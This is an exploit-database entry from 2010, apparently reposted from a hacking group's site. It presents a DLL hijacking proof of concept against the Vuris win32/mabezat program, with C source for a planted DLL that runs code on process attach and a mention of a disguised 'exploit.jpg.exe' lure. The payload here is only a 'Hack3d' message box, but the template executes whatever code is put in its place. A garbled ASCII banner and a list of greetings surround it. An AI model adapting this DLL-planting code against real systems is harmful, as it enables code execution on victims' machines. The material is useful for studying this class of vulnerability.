Vuris win32 mabezat DLL Hijacking Exploit

2010-10-19T00:00:00
ID SECURITYVULNS:DOC:24943
Type securityvulns
Reporter Securityvulns
Modified 2010-10-19T00:00:00

Description

========================================= Vuris win32/mabezat DLL Hijacking Exploit =========================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ 1 1 /' \ /'`\ /\ \ /'`\ 0 0 /\, \ /\\/\_\ \ \ \ \ ,\/\ \/\ \ _ 1 1 \//\ \ /' _ `\ \/\ \//\< /'\ \ \/\ \ \ \ \/\`'\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \/\ \ \\ \ \\ \ \ \/ 1 1 \ \\ \\ \\\ \ \ \_/\ \_\\ \\\ \_/\ \\ 0 0 \//\//\//\ \\ \// \/_/ \/_/ \// \/_/ 1 1 \ \_/ >> Exploit database separated by exploit 0 0 \// type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ####################################### 1 0 I'm indoushka member from Inj3ct0r Team 1 1 ####################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

##################################################################

Vendor: ????????

Date: 2010-07-27

Author : indoushka

Thanks to : Dz-Ghost Team

Contact : http://www.hack-r1z.com/cc/

Tested on : windows SP2 Francais V.(Pnx2 2.0)

##################################################################

Exploit By indoushka


exploited mabezat.exe with exploit.jpg.exe using tazebama.dl_

include "stdafx.h"

include "stdlib.h"

void init() { MessageBox(NULL,"indoushka", "Hack3d",0x00000003); }

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: init();break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel =========================== special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te